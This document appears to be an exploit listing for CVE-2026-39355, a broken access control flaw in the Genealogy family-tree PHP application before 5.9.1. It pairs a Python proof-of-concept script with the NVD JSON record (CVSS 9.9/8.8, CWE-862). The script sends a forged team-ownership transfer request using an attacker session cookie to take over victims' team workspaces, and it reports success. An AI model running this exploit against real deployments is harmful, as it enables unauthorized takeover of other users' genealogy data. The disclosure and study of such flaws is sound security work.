CVE-2026-39355

import requests # Target configuration target_url = "http://example.com/api/teams/transfer" attacker_session_cookie = "valid_attacker_session_token" # Attacker and Target IDs attacker_user_id = "attacker_123" target_team_id = "victim_team_456" # ID of the team to takeover # Headers headers = { "Content-Type": "application/json", "Cookie": f"session={attacker_session_cookie}" } # Malicious payload to transfer ownership payload = { "team_id": target_team_id, "new_owner_id": attacker_user_id } try: # Send the malicious request response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Team ownership transferred.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-39355", "sourceIdentifier": "[email protected]", "published": "2026-04-07T19:16:46.523", "lastModified": "2026-04-10T19:03:43.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Genealogy is a family tree PHP application. Prior to 5.9.1, a critical broken access control vulnerability in the genealogy application allows any authenticated user to transfer ownership of arbitrary non-personal teams to themselves. This enables complete takeover of other users’ team workspaces and unrestricted access to all genealogy data associated with the compromised team. This vulnerability is fixed in 5.9.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kreaweb:genealogy:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.1", "matchCriteriaId": "9493DF66-D714-40BF-B9E9-C861AD3DE26F"}]}]}], "references": [{"url": "https://github.com/MGeurts/genealogy/security/advisories/GHSA-2rq7-jqm7-w8x4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/MGeurts/genealogy/security/advisories/GHSA-2rq7-jqm7-w8x4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}